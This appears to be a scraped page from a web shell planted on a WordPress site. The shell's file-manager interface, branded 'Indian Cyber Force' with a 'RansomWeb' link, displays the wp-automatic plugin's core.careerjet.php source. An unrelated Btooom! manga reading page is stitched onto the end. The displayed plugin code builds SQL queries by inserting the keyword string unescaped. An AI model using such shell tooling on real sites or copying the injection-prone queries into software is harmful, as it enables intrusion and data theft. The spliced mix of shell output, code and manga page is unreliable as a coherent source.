• Home (current)
  • वर्तमान निदेशक => /home/honehdyv/yours-toclaim.com/wp-content/plugins/wp-automatic/
  • सूचना एवं अपलोड
    Info Server
Indian Cyber Force
Folders रचयन्तु सञ्चिकां रचयन्तु RansomWeb लॉगआउट
Current File : /home/honehdyv/yours-toclaim.com/wp-content/plugins/wp-automatic/core.careerjet.php
<?php

// Main Class
require_once 'core.php';

Class WpAutomaticCareerjet extends wp_automatic{
	
	
	
	function careerjet_fetch_items($keyword, $camp) {
		
		echo "<br>So, I should now get some items from Careerjet for keyword:".$keyword ;
		
		// ini options
		$camp_opt = unserialize ( $camp->camp_options );
		if( stristr($camp->camp_general, 'a:') ) $camp->camp_general=base64_encode($camp->camp_general);
		$camp_general = unserialize ( base64_decode( $camp->camp_general ) );
		$camp_general=array_map('wp_automatic_stripslashes', $camp_general);
		
		// items url
		 
		// get start-index for this keyword
		$query = "select keyword_start ,keyword_id from {$this->wp_prefix}automatic_keywords where keyword_name='$keyword' and keyword_camp={$camp->camp_id}";
		$rows = $this->db->get_results ( $query );
		@$row = $rows [0];
		
		//If no rows add a keyword record
		if(count($rows) == 0){
			$query="insert into {$this->wp_prefix}automatic_keywords(keyword_name,keyword_camp,keyword_start) values ('$keyword','{$camp->camp_id}',1)";
			$this->db->query($query);
			$kid = $this->db->insert_id;
			$start = 1;
			
		}else{
			$kid = $row->keyword_id;
			$start = $row->keyword_start;
		}
		
		
		if ($start == - 1) {
			echo '<- exhausted link';
			
			if( ! in_array( 'OPT_CJ_CACHE' , $camp_opt )){
				$start =1;
				echo '<br>Cache disabled resetting index to 1';
			}else{
				
				//check if it is reactivated or still deactivated
				if($this->is_deactivated($camp->camp_id, $keyword)){
					$start =1;
				}else{
					//still deactivated
					return false;
				}
				
			}
			
			
		}

		//keyword
		$searchKeyword = urlencode(trim($keyword));
		
		//affiliate ID
		$wp_automatic_cj_id = trim(get_option('wp_automatic_cj_id',''));
		
		if(trim($wp_automatic_cj_id) == ''){
			echo '<br><span style="color:red">Please visit the plugin settings page and add your <b>Careerjet affiliate ID</b>.</span>';
			return false;
		}
		
		$cg_cj_page = "http://public.api.careerjet.net/search?keywords=$searchKeyword&affid=$wp_automatic_cj_id&user_ip=::1&user_agent=Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_13_2%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F64.0.3282.119+Safari%2F537.36";

		//locale_code
		$cg_cj_locale = $camp_general['cg_cj_locale'];
		$cg_cj_page.= '&locale_code=' . $cg_cj_locale;
		
		//sort
		$cg_cj_sort = $camp_general['cg_cj_sort'];
		$cg_cj_page.= '&sort=' . $cg_cj_sort;
		
		//location
		$cg_cj_location = trim($camp_general['cg_cj_location']);
		if( $cg_cj_location != '') $cg_cj_page .= '&location='.urlencode($cg_cj_location);
		
		//contracttype
		$cg_cj_contracttype = $camp_general['cg_cj_contracttype'];
		if(trim($cg_cj_contracttype) != 'all') $cg_cj_page .= '&contracttype='.$cg_cj_contracttype;
		
		//contractperiod
		$cg_cj_contractperiod = $camp_general['cg_cj_contractperiod'];
		if(trim($cg_cj_contractperiod) != 'all') $cg_cj_page .= '&contractperiod='.$cg_cj_contractperiod;
		
		//page
		if($start == 0) $start=1;
		$cg_cj_page = $cg_cj_page . '&page='.$start;
		
		echo '<br>Careerjet items url:'.$cg_cj_page;
		echo ' index:' . $start;
		
		// update start index to start+1
		$nextstart = $start + 1;
		
		$query = "update {$this->wp_prefix}automatic_keywords set keyword_start = $nextstart where keyword_id=$kid ";
		$this->db->query ( $query );
		
		// get items
		// curl get
		$x = 'error';
		$url = $cg_cj_page;
		curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 );
		curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url ) );
		$exec = curl_exec ( $this->ch );
		$x = curl_error ( $this->ch );
		
		
		// error check
		if(trim($x) != ''){
			echo '<br>Curl error:'.$x;
			return false;
		}
		
		// validate reply
		if( ! stristr($exec, '{"')){
			echo '<br>Not expected response from Careerjet';
		}
		
		if(stristr($exec, 'solveLocations')){
			echo '<br><br><span style="color:red">Please change the location to a correct one from the listed locations below:</span>';
			$locJson = json_decode($exec);
			$locations = $locJson->solveLocations;
			
			foreach ($locations as $loc){
				echo '<br>'.$loc->name;
			}
			return false;
		}
		
		// decode json
		$jsonReply = json_decode($exec);
		
		 
		$allItms = array();
		if( isset($jsonReply->jobs) ){
			$allItms = $jsonReply->jobs;
		}
		
		
		// Check returned items count
		if ( count($allItms) > 0 ) {
			
			echo '<br>Valid reply returned with ' . count($allItms) . ' item';
			
		} else {
			
			echo '<br>No items found';
			 
			
			echo '<br>Keyword have no more images deactivating...';
			$query = "update {$this->wp_prefix}automatic_keywords set keyword_start = -1 where keyword_id=$kid ";
			$this->db->query ( $query );
			
			if(! in_array('OPT_NO_DEACTIVATE', $camp_opt))
				$this->deactivate_key($camp->camp_id, $keyword);
				
		}
		
		
		echo '<ol>';
		
		 
		
		foreach ( $allItms as $itemTxt ) {
			
			$id = uniqid();
			
			$item = array();
			
			// match title
			$item['item_title'] = $itemTxt->title;
			
			// match description
			$item['item_description'] = $itemTxt->description;
			
			// match link
			$item_link = $item['item_url'] = $itemTxt->url;
			
			// match date
			$item['item_date'] = $itemTxt->date;
			
			$item['item_locations'] = $itemTxt->locations;
			$item['item_site'] = $itemTxt->site;
			$item['item_company'] = $itemTxt->company;
			$item['item_salary'] = $itemTxt->salary;
			
			$item['item_salary_min'] = isset($itemTxt->salary_min) ? $itemTxt->salary_min : '';
			$item['item_salary_max'] = isset($itemTxt->salary_max) ? $itemTxt->salary_max : '' ;
			$item['item_salary_type'] = isset( $itemTxt->salary_type) ? $itemTxt->salary_type : '' ;

			$item['item_salary_currency_code'] =  isset($itemTxt->salary_currency_code) ? $itemTxt->salary_currency_code : '' ;
			
			 
			$data = ( base64_encode( serialize ( $item ) ) );
			
			 
			echo '<li> Link:'.$item_link;
			
			//salary check
			if(in_array('OPT_CJ_SALARY', $camp_opt)){
				if(trim($itemTxt->salary) == ''){
					echo '<-- No salary skipping.';
					continue;
				}
			}
			
			//excluded link check
			if( $this->is_execluded($camp->camp_id, $item_link) ){
				echo '<-- Execluded';
				continue;
			}
			
			//duplicate link check
			if ( ! $this->is_duplicate($item_link) )  {
				$query = "INSERT INTO {$this->wp_prefix}automatic_general ( item_id , item_status , item_data ,item_type) values (  '$id', '0', '$data' ,'cj_{$camp->camp_id}_$keyword')  ";
				$this->db->query ( $query );
			} else {
				echo ' <- duplicated <a href="'.get_edit_post_link($this->duplicate_id).'">#'.$this->duplicate_id.'</a>';
			}
			
		}
		
		echo '</ol>';
		
	}
	
	
	/*
	 * ---* careerjet post ---
	 */
	function careerjet_get_post($camp) {
		
		// Campaign options
		$camp_opt = unserialize (  $camp->camp_options );
		$keywords = explode ( ',', $camp->camp_keywords );
		foreach ( $keywords as $keyword ) {
			
			$keyword = trim($keyword);
			
			//update last keyword
			update_post_meta($camp->camp_id, 'last_keyword', trim($keyword));
			
			if (trim ( $keyword ) != '') {
				
				// getting links from the db for that keyword
				$query = "select * from {$this->wp_prefix}automatic_general where item_type=  'cj_{$camp->camp_id}_$keyword' ";
				$this->used_keyword=$keyword;
				$res = $this->db->get_results ( $query );
				
				// when no links lets get new links
				if (count ( $res ) == 0) {
					
					//clean any old cache for this keyword
					$query_delete = "delete from {$this->wp_prefix}automatic_general where item_type='cj_{$camp->camp_id}_$keyword' ";
					$this->db->query ( $query_delete );
					
					// get new fresh items
					$this->careerjet_fetch_items ( $keyword, $camp );
					
					// getting links from the db for that keyword
					$res = $this->db->get_results ( $query );
				}
				
				//check if already duplicated
				//deleting duplicated items
				$res_count = count($res);
				for($i=0;$i< $res_count ;$i++){
					
					$t_row = $res[$i];
					$t_data =  unserialize ( base64_decode( $t_row->item_data ) );
					$t_link_url= $t_data['item_url'] ;
					
					if( $this->is_duplicate($t_link_url) ){
						
						//duplicated item let's delete
						unset($res[$i]);
						
						echo '<br>careerjet item ('. $t_data ['item_title'] .') found cached but duplicated <a href="'.get_permalink($this->duplicate_id).'">#'.$this->duplicate_id.'</a>'  ;
						
						//delete the item
						$query = "delete from {$this->wp_prefix}automatic_general where id='{$t_row->id}' ";
						$this->db->query ( $query );
						
					}else{
						break;
					}
					
				}
				
				// check again if valid links found for that keyword otherwise skip it
				if (count ( $res ) > 0) {
					
					// lets process that link
					$ret = $res [$i];
					$data = unserialize ( base64_decode( $ret->item_data )  );
					$temp = $data;
					
				
					echo '<br>Found Link:'.$temp['item_url'];
					
					$temp['item_source_site'] = '';
					if(in_array('OPT_CJ_FULL', $camp_opt)){
						$item_url = $temp['item_url'];
						
						echo '<br>Loading full page to find a description & source: '.$item_url;
						
						//curl get
						$x='error';
						curl_setopt($this->ch, CURLOPT_HTTPGET, 1);
						curl_setopt($this->ch, CURLOPT_URL, trim($item_url));
						$exec=$this->curl_exec_follow($this->ch);
						$x=curl_error($this->ch);
						
						if(stristr($exec, 'Too many requests')){
							echo '<-- Too many requests returned proxies may be needed on the plugin settings page....';
						}
						
							preg_match('{<section class="content">(.*?)<p class="source}s' , $exec , $des_matches);
							 
							if( isset($des_matches[1]) && trim($des_matches[1]) != ''){
								echo '<-- Found full description';
								$temp['item_description'] = trim($des_matches[1]);
							
							}elseif(trim($exec) == ''){
								echo '<-- Did not get anything from CJ, maybe proxies are needed ' . $x;
							}else{
								echo '<-- Can not find class content, using summary instead got '. $exec.$x;
							}
						
							//source 
	 						preg_match( '{<p class="source">(.*?)</p>}s' , $exec , $source_matchs );
						
	 						if( isset($source_matchs[1]) && trim($source_matchs[1]) != ''){
	 							$temp['item_source_site'] = trim($source_matchs[1]);
	 						}
	 						 
						
					}
					
					
					// update the link status to 1
					$query = "delete from {$this->wp_prefix}automatic_general where id={$ret->id}";
					$this->db->query ( $query );
					
					// if cache not active let's delete the cached videos and reset indexes
					if (! in_array ( 'OPT_CJ_CACHE', $camp_opt )) {
						echo '<br>Cache disabled clearing cache ...';
						$query = "delete from {$this->wp_prefix}automatic_general where item_type='cj_{$camp->camp_id}_$keyword' ";
						$this->db->query ( $query );
						
						// reset index
						$query = "update {$this->wp_prefix}automatic_keywords set keyword_start =1 where keyword_camp={$camp->camp_id}";
						$this->db->query ( $query );
					}
					
					$temp['item_date_timestamp'] =  strtotime( $temp['item_date'] );
					
					return $temp;
				} else {
					
					echo '<br>No links found for this keyword';
				}
			} // if trim
		} // foreach keyword
	}
	
}
Btooom! Chapter 74 - Btooom! Manga Online
Skip to content
Btooom! Manga Online
Read Btooom! Manga Online in High Quality

Primary Menu

  • Btooom!
  • Btooom! Chapter 1
  • Btooom! Chapter 121.2
  • Privacy Policy
  • Hot Mangas
    • The Worn and Torn Newbie
    • The World After the Fall

Breadcrumbs

  • Home
  • Comics
  • Btooom! Chapter 74

Btooom! Chapter 74

Btooom!

Btooom Manga

Read Btooom! Manga Online. Enjoy Reading Btooom characters

You Are Reading Btooom! Chapter 74 Manga Online


Tagged Btoom, Btooom, Btooom! manga, Himiko, Kiyoshi Taira, Kōsuke Kira, Masashi Miyamoto, Nobutaka Oda, Ryōta Sakamoto

Post navigation

Previous Previous: Btooom! Chapter 73
Next Next: Btooom! Chapter 75

Subsidiary Sidebar

About

Btooom! follows the adventures of Ryōta Sakamoto, an unemployed and isolated young man who is one of the world’s top players in the titular video game. After Ryōta is nominated to participate in the real-life version of the game, he becomes trapped inside it and meets his love interest Himiko, who was his in-game wife.

Latest Chapters

  • Btooom! Chapter 121.2
  • Btooom! Chapter 121
  • Btooom! Chapter 120.2
  • Btooom! Chapter 120
  • Btooom! Chapter 119
  • Btooom! Chapter 118
  • Btooom! Chapter 117
  • Btooom! Chapter 116
  • Btooom! Chapter 115
  • Btooom! Chapter 114
© 2022 Read Btooom Manga. | Privacy Policy | DMCA